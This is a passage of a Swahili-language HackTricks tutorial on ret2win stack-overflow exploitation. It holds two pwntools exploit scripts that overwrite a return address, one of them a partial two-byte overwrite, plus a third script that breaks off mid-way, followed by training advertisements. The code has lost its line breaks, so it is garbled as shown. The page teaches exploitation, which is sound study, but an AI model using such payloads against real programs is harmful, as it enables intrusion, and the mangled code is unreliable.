from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p64(0x00000000004006c4)payload = b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Off-by-1
Kwa kweli hii itakuwa kama off-by-2 katika PC iliyohifadhiwa kwenye stack. Badala ya kufuta anwani zote za kurudi, tutafuta tu byte 2 za mwisho kwa 0x06c4.
from pwn import*# Configurationbinary_name ='./ret2win'p =process(binary_name)# Prepare the payloadoffset =72ret2win_addr =p16(0x06c4)payload = b'A'* offset + ret2win_addr# Send the payloadp.send(payload)# Check responseprint(p.recvline())p.close()
Bila leak hatujui anwani halisi ya kazi ya kushinda lakini tunaweza kujua offset ya kazi kutoka kwa binary na kujua kwamba anwani ya kurudi tunayoshughulikia tayari inaelekeza kwenye anwani ya karibu, inawezekana kuvuja offset kwa kazi ya kushinda (0x7d4) katika kesi hii na kutumia tu offset hiyo:
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)
<div data-gb-custom-block data-tag="hint" data-style='success'>
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
</div>